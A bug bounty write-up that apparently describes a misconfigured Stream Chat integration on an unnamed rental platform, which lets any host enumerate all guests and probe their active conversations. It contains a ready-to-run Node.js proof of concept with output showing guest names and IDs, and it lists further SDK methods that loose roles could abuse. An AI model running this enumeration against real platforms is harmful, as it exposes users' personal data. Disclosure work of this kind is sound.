A Host Token That Talked To Strangers A Host Token That Talked To Strangers

A Host Token That Talked To Strangers

A Host Token That Talked To Strangers

Hello Hackers. This one’s a fun one, not because the exploit is flashy, there’s no payload, no bypass string, no cursed regex. It’s fun because of where it lives. Most people scanning a target for bugs run straight past this exact spot without a second look, and I want to talk about why, before I get into what I actually found.

The bug, short version: a vacation rental platform (name redacted, still under embargo) hands off host-guest messaging to Stream Chat. When a host logs in, the platform mints them a Stream token so the browser can talk to Stream directly. That token is supposed to only reach the host’s own guests. It doesn’t. Any host, any host at all, can use their own legitimately issued token to query every guest on the platform, and can confirm whether a random guest is currently mid-conversation with some completely unrelated host. No forged anything. Just the SDK, doing exactly what it’s told to do, by a config that was never told the right thing.

Why Nobody Looks Here

Here’s the thing about third party integrations. When people scope out a target, chat widgets, payment SDKs, analytics pixels, video players, they mentally file all of it under “not my problem.” Either the vendor’s CVE list, or it’s flatly out of scope on the program page, so why bother.

That instinct isn’t wrong exactly, Stream’s own infrastructure genuinely isn’t your target, and most programs will tell you as much. But there’s a gap in that reasoning that a lot of people walk straight past: the vendor’s security model is not the same thing as how the company using that vendor configured it. Stream didn’t leak these guests. Stream’s dashboard has a perfectly reasonable permission system sitting right there, roles, scopes, per-user restrictions, the whole toolkit. Somebody at the company just never told it “a host should only see their own guests.” That’s not a Stream bug. That’s the company’s homework, turned in blank, on a piece of paper Stream handed them.

This is the exact reason business logic hunters and CVE hunters both skip past this stuff. Business logic folks are looking at the company’s own endpoints, their own database, their own auth checks. CVE folks are looking for a known bad version of a known bad library. Neither group is looking at “did this company correctly configure the permission model of a service they don’t control.” That’s a third category, and it’s wide open on basically every platform that outsources chat, video calling, or search to some SaaS vendor, because the assumption everywhere is “the vendor handles security.” The vendor handles security of their own infrastructure. They cannot handle security of decisions your product team made in a dashboard nobody audits after the initial setup.

So that’s the actual hunting tip buried in this writeup: whenever you see a third party token being minted server side, chat, video, search, whatever it is, don’t just check if the token is leaked or the app key is public. Connect with your own legitimately issued token and just start asking it questions it shouldn’t be able to answer. Half the time nobody has ever tested that role from the inside.

How This Started

I was going through different requests, mapping out the auth system piece by piece, and one request stood out: a call to fetch a token for a separate chat auth flow.

my-api.redacted.com/chat/token

Unauthenticated, it returns a 401, so there’s some session restriction sitting in front of it. That raised the obvious question: why does a chat feature need its own token at all, when there’s already a working session from the main login? Normally, that question is where I’d start assuming this is a third party service handling its own thing, and move on, since testing a vendor’s own infrastructure is rarely the point. Instead I decoded the token I got back, noticed it referenced a Stream app key, and a quick reverse search on that key confirmed the service was Stream Chat.

What Stream Actually Is

Quick primer since this matters for understanding why the bug lives where it does. Stream Chat is a hosted chat backend. Instead of a company building their own websocket infrastructure, message storage, delivery, presence, typing indicators, all of it, they install Stream’s SDK and let Stream run the actual chat plumbing. The company’s own backend never touches individual messages. All it does is vouch for you, “this browser session is user X,” by minting a JWT signed with a secret only the company holds.

Two pieces worth knowing:

  • App key, identifies which Stream project you’re even talking to. Meant to be public, functionally the same as a Firebase project id showing up in your frontend bundle. Not a secret, don’t bother reporting it as one.
  • User token, a JWT with a user_id inside it and nothing else interesting. This is the part that tells Stream who you are. Everything about what that user is allowed to do, query which users, see which channels, is configured separately, on Stream’s dashboard, tied to roles. None of that permission logic lives inside the JWT.

Confirmed what I already figured, the actual authorization logic isn’t sitting in something I can read locally, it lives entirely on Stream’s side, tied to whatever role that user id was assigned. Which means the only way to actually know what this token can reach is to stop reading it and start using it, the same way the widget itself does, then just ask it questions the widget’s UI never bothers to ask.

That’s the mental shift that matters here, and it’s the one I keep coming back to. The UI only ever asks the SDK for things the frontend developer decided to display. It’ll call queryChannels for your own channels because that’s what the inbox needs, it’ll never call queryUsers({role: 'guest'}) scoped to everyone, because there’s no button for that. The permission boundary isn’t enforced by “the UI doesn’t have a button for it,” it’s supposed to be enforced by Stream’s own role config. So the only way to find out if that boundary is real is to open a raw SDK session yourself and start calling methods the frontend never uses, and see what Stream lets you get away with.

Where They Actually Went Wrong

This is a config mistake, not a code mistake, which is exactly why it’s so easy for a team to ship it and never notice. Setting up a Stream integration usually goes like this: create an app in Stream’s dashboard, define a couple of roles, host and guest, wire up the token minting endpoint on the backend, drop the SDK into the frontend, test that messages send and receive correctly, ship it. Every one of those steps was done correctly here. Messages work. Channels load. Nothing about the day to day feature is broken.

What never happened is somebody going into Stream’s dashboard and actually tightening the queryUsers permission for the host role down to “only guests I share a channel with.” Stream ships a default that’s more permissive than that, because Stream’s default assumption is you’ll configure it for your own product’s trust model, they’re not going to guess it for you. Nobody went back and did that second pass. The feature worked, so the ticket got closed.

That’s the pattern worth remembering: a third party integration being functionally correct and a third party integration being correctly scoped are two completely different checkboxes, and most teams only ever verify the first one.

The Script

Once I knew what I was looking for, the actual proof of concept is short. Full thing, ready to run once you drop in your own values:

Terminal window
mkdir -p /tmp/poc && cd /tmp/poc
npm init -y
npm install stream-chat
poc-stream-sdk.js
#!/usr/bin/env node
'use strict';
let StreamChat;
try {
({ StreamChat } = require('stream-chat'));
} catch (error) {
const path = require('path');
const { createRequire } = require('module');
const cwdRequire = createRequire(path.join(process.cwd(), 'package.json'));
({ StreamChat } = cwdRequire('stream-chat'));
}
const appKey = '<stream app key>';
const streamToken = '<stream token>';
const ownerUserId = '<owner user id>';
async function main() {
if (
appKey.includes('<') ||
streamToken.includes('<') ||
ownerUserId.includes('<')
) {
throw new Error('Fill in appKey, streamToken, and ownerUserId before running the script.');
}
const client = StreamChat.getInstance(appKey, {
timeout: 10000,
allowServerSideConnect: true,
enableInsights: false,
});
await client.connectUser({ id: ownerUserId }, streamToken);
console.log('[*] Connected to Stream as:', ownerUserId);
const users = await client.queryUsers(
{ role: 'guest' },
[{ created_at: -1 }],
{ limit: 5, presence: false },
);
console.log('[*] Guest users returned by queryUsers({ role: "guest" }):');
console.table(
users.users.map((user) => ({
id: user.id,
name: user.name,
role: user.role,
created_at: user.created_at,
last_active: user.last_active,
})),
);
const victimUserId = users.users[0]?.id;
if (!victimUserId) {
console.log('[*] No guest users were returned.');
await client.disconnectUser();
return;
}
console.log('[*] Probing queryChannels with victim user id:', victimUserId);
try {
const channels = await client.queryChannels(
{ members: { $in: [victimUserId] } },
[{ last_message_at: -1 }],
{ limit: 1, state: false, watch: false },
);
console.log('[!] queryChannels unexpectedly succeeded:', channels);
} catch (error) {
console.log('[*] queryChannels failed as expected');
console.log('[*] Error message:', error.message);
if (error.response?.data) {
console.log('[*] Error response:', error.response.data);
}
}
await client.disconnectUser();
}
main().catch((error) => {
console.error('[!] PoC failed:', error);
process.exit(1);
});

Run it:

Terminal window
node --experimental-global-webcrypto poc-stream-sdk.js

First half of the output is the part that shouldn’t exist at all, a full table of guest accounts that have never interacted with the host account running this script:

[*] Connected to Stream as: d2a5492a-ac33-4b39-b59f-bb3b758bbe90
[*] Guest users returned by queryUsers({ role: "guest" }):
┌─────────┬──────────────────────────┬─────────────────┬─────────┬──────────────────────────┬──────────────┐
│ (index) │ id │ name │ role │ created_at │ last_active │
├─────────┼──────────────────────────┼─────────────────┼─────────┼──────────────────────────┼──────────────┤
│ 0 │ '29053aec-6c33-4ac7-...' │ 'JUAN ANTONIO' │ 'guest' │ '2026-05-12T18:43:...' │ undefined │
│ 1 │ 'e9321d9a-dfd7-49a0-...' │ 'Dennis' │ 'guest' │ '2026-05-12T17:44:...' │ undefined │
│ 2 │ 'e472a5f6-ff4b-48c6-...' │ 'Viktor' │ 'guest' │ '2026-05-12T17:23:...' │ undefined │
└─────────┴──────────────────────────┴─────────────────┴─────────┴──────────────────────────┴──────────────┘

Ten real guest accounts, on the first page alone, none of them belonging to the host account that just asked for them.

Second half is the channel probe, and this is the part that turns “I can see names I shouldn’t” into “I can also tell who’s currently talking to who”:

[*] Probing queryChannels with victim user id: 29053aec-6c33-4ac7-9bc1-8dca18f34168
[*] queryChannels failed as expected
[*] Error message: StreamChat error code 70: QueryChannels failed with error:
"1 channels match your query but cannot be returned because you don't have
access to them. Did you forget to include {members: $in:
["d2a5492a-ac33-4b39-b59f-bb3b758bbe90"]}?"

Stream refuses to hand over the channel, that part is correctly enforced. But it confirms, in plain text, that a channel matching that guest exists right now. Run that same probe across every id pulled from the first table and you get a live map of exactly who is currently in a conversation with a host and who isn’t, without ever touching a single message.

It Could Have Been Worse

queryUsers and queryChannels are the only two methods I actually tested here, but that’s a limit on what I checked, not a ceiling on what a host role could reach. Stream’s SDK exposes a lot more surface once you’re connected as any user, and every one of those methods is gated the exact same way, by whatever the role config on the dashboard allows, not by anything baked into the token itself.

A few examples of what an overscoped role can look like in practice, all standard SDK calls, nothing exotic:

  • sendMessage on a channel you’re not a member of, if channel-level write permissions are as loose as the query permissions were here, meaning a host could post into a completely different guest’s conversation with a different host.
  • deleteMessage or updateMessage, letting an overscoped role edit or erase messages it was never a party to.
  • banUser or muteUser, moderation actions some roles get by default, and if handed to every host account, would let one host silence guests or other hosts.
  • addMembers or removeMembers on a channel, letting you quietly insert yourself into someone else’s conversation, or kick the legitimate participants out of it.
  • searchMessages, a full text search across channels, which if scoped as loosely as queryUsers was here, skips the existence oracle entirely and just hands over message content directly.
  • exportChannels or exportUsers, bulk export methods meant for admin tooling, catastrophic if a normal user role ever reaches them.

None of these were open on this target, I checked. But the reason they weren’t isn’t some hard boundary Stream enforces by default, it’s the exact same permission dashboard that failed on queryUsers, just configured correctly for these particular actions, whether by luck or by someone paying closer attention to write access than read access. That distinction is the whole gap between “this bug is a mildly annoying privacy leak” and “this bug is a full conversation takeover,” and the only thing standing between the two is a checkbox in a dashboard nobody stress tested. Worth testing every one of these methods individually against your own token before writing off a chat SDK integration as safe, just because the first one or two calls you tried came back clean.

Lesson

Always be wary of what you are testing, this was a one off unconventional bug that I felt to post about since you can reapply these concepts in similar scenarios.


Let me know what you think of this, and stay tuned for more posts like these.


← Back to writeups